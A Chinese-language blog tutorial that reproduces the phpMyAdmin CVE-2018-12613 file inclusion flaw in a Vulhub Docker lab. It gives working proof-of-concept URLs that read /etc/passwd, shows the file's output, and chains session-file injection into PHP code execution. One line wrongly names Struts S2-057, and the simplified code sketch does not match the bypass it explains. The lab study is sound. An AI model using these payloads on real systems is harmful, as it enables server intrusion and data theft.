phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(vulhub CVE-2018-12613)

发布于:2025-09-08 ⋅ 阅读:(27) ⋅ 点赞:(0)

目录

一、CVE-2018-12613漏洞

1、漏洞简介

2、漏洞原理

(1)漏洞触发点与正常逻辑

(2)过滤逻辑缺陷与绕过方式

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

(1)Web服务器容器 (phpMyAdmin)

(2)数据库容器 (MySQL)

三、渗透实战

1、访问网站

2、获取session文件位置

3、读取敏感信息

4、执行phpinfo

(1)访问server_sql.php页面

(2)执行phpinfo命令

(3)session文件包含查看


一、CVE-2018-12613漏洞

1、漏洞简介

CVE-2018-12613 是 phpMyAdmin 4.8.0 至 4.8.1 版本中存在的严重漏洞,源于其 index.php 文件对页面重定向与加载的代码部分,以及对白名单页面的不当测试。在这一漏洞下,攻击者可通过精心构造输入,利用二次编码绕过程序的白名单限制,实现服务器上的文件包含操作,进而查看或执行敏感文件,获取敏感信息,甚至可能植入恶意代码,达成远程代码执行,控制服务器。正常情况下攻击者需经过身份验证,但当(cfg('AllowArbitraryServer')设置为true时,攻击者可指定已控制主机执行任意代码;若cfg ('ServerDefault') 设置为 0,则可绕过登录直接运行易受攻击的代码 。

  • CVE编号:CVE-2018-12613

  • 漏洞类型本地文件包含(LFI)

  • 影响版本:phpMyAdmin 4.8.0 - 4.8.1

  • 漏洞等级高危

  • 利用条件:需要攻击者能够登录phpMyAdmin(已认证)

  • 核心问题: 对传入 index.php 的 target 参数验证不足,导致攻击者能够包含并执行服务器上的任意文件(包括远程文件),从而实现代码执行。

2、漏洞原理

CVE-2018-12613 核心原理在于对target参数的过滤逻辑存在缺陷,攻击者可通过构造特殊请求绕过限制,实现任意文件包含。

(1)漏洞触发点与正常逻辑

在 phpMyAdmin 的index.php中,target参数用于指定跳转或加载的页面,代码通过include函数加载该参数对应的文件,核心逻辑如下:

// index.php 中的关键代码
if (! empty($_REQUEST['target']) && is_string($_REQUEST['target'])) {
    $target = $_REQUEST['target'];
    // 检查 target 是否在白名单内
    if (! PMA_isValid($_REQUEST['target'])) {
        $target = $cfg['DefaultTabDatabase'];
    }
    include $target;
}

正常情况下,PMA_isValid()函数会校验target值是否在允许的白名单中(如db_datadict.phptable_sql.php等合法页面),若不在白名单则使用默认值,防止恶意文件包含。

(2)过滤逻辑缺陷与绕过方式

PMA_isValid()函数的过滤逻辑存在漏洞:当target参数以index.php?开头时,函数会误判为 “合法值”,直接放行。具体来说,其内部判断逻辑类似:

// 简化的 PMA_isValid() 逻辑
function PMA_isValid($target) {
    // 白名单校验
    if (in_array($target, $whitelist)) {
        return true;
    }
    // 漏洞点:若 target 以 "index.php?" 开头,直接判定为合法
    if (strpos($target, 'index.php?') === 0) {
        return true;
    }
    return false;
}

攻击者发现可以传入经过编码的URL来绕过白名单检查:

index.php?target=db_sql.php%253f/../../../../etc/passwd

关键技巧%253f 是 ? 的双重URL编码,? → URL编码为 %3f → 再次编码为 %253f

请求:index.php?target=db_sql.php%253f/../../../../etc/passwd
       ↓
PHP自动解码:target=db_sql.php%3f/../../../../etc/passwd
       ↓
白名单检查:checkPageValidity('db_sql.php%3f/../../../../etc/passwd')
       ↓
二次解码:内部解码为 db_sql.php?/../../../../etc/passwd
       ↓
截取问号前:db_sql.php → 在白名单中 → 检查通过
       ↓
include 'db_sql.php%3f/../../../../etc/passwd'
       ↓
实际包含:/etc/passwd

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现structs s2-057漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

cd phpmyadmin
cd CVE-2018-12613

4、启动漏洞环境

在CVE-2018-12613目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器

docker-compose up -d

命令执行后,Docker 会完成拉取一个包含phpmyadmin 4.8.1(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器64ff15e1d473属于 Vulhub 搭建的CVE-2018-12613漏洞复现环境。

(1)Web服务器容器 (phpMyAdmin)

  • 作用:运行存在漏洞的phpMyAdmin 4.8.1
  • 镜像vulhub/phpmyadmin:4.8.1 - 专门包含CVE-2018-12613漏洞的版本

  • 端口映射8080->80 - 通过宿主机的8080端口访问

  • 访问地址http://localhost:8080 或 http://你的IP:8080

  • 漏洞: 本地文件包含漏洞(CVE-2018-12613)

(2)数据库容器 (MySQL)

  • 作用:为phpMyAdmin提供后端数据库服务
  • 镜像mysql:5.5 - MySQL 5.5版本

  • 端口映射3306->3306 - MySQL默认端口

  • 用途: 存储phpMyAdmin的配置和用户数据

三、渗透实战

1、访问网站

Docker启动完成后,访问 http://[靶机IP地址]:8080/index.php 来查看环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,如下所示说明环境启动成功。

http://192.168.59.128:8080/index.php

2、获取session文件位置

在当前页面查看session值,鼠标右键-元素-网络,如下所示。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。

找到phpmyadmin对应的cookie值,将其复制下来7c8f29196f7223d5ae47d89e727f7df1。

对应的session文件位置应该为/tmp/sess_7c8f29196f7223d5ae47d89e727f7df1,此时进入到Docker环境内部查看,确认此文件存在,如下所示。

3、读取敏感信息

读取/etc/passwd文件,PoC的访问URL如下所示。

http://192.168.59.128:8080/?target=db_sql.php%253f/../../../../etc/passwd
或
http://192.168.59.128:8080/index.php?target=db_sql.php%253f/../../../../etc/passwd

如下所示,该PoC利用PHPMyAdmin的二次URL解码缺陷实现文件包含。攻击者将?双重编码为%253f,首次自动解码后变为%3f,通过白名单检查时二次解码还原为?,使系统误判db_sql.php为合法文件。实际包含时?被当作普通字符,结合路径遍历../../../../最终加载/etc/passwd文件,获取到/etc/passwd敏感信息,内容如下所示。

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false

4、执行phpinfo

通过包含session临时文件来实现命令执行,具体思路如下所示。

(1)访问server_sql.php页面

首先在登录表单或其他能写入Session的地方注入PHP代码,这里选择访问server_sql.php页面,具体效果如下所示。

(2)执行phpinfo命令

我们先开始执行一个SELECT '<?php phpinfo(); ?>' 命令,如下所示。

SELECT '<?php phpinfo(); ?>'

这步会将代码写入Session文件,文件名格式为:sess_[PHPSESSID],执行后页面效果如下所示。

(3)session文件包含查看

然后查看session值来访问临时文件/tmp/sess_7c8f29196f7223d5ae47d89e727f7df1,使用CVE-2018-12613漏洞包含Session文件,构造URL,如下所示。

http://192.168.59.128:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_7c8f29196f7223d5ae47d89e727f7df1
或
http://192.168.59.128:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_7c8f29196f7223d5ae47d89e727f7df1

如下所示成功执行了PHP info,本部分的原理实际上是通过Session文件作为"木马",利用文件包含漏洞来执行其中的PHP代码。


网站公告

今日签到

点亮在社区的每一天
去签到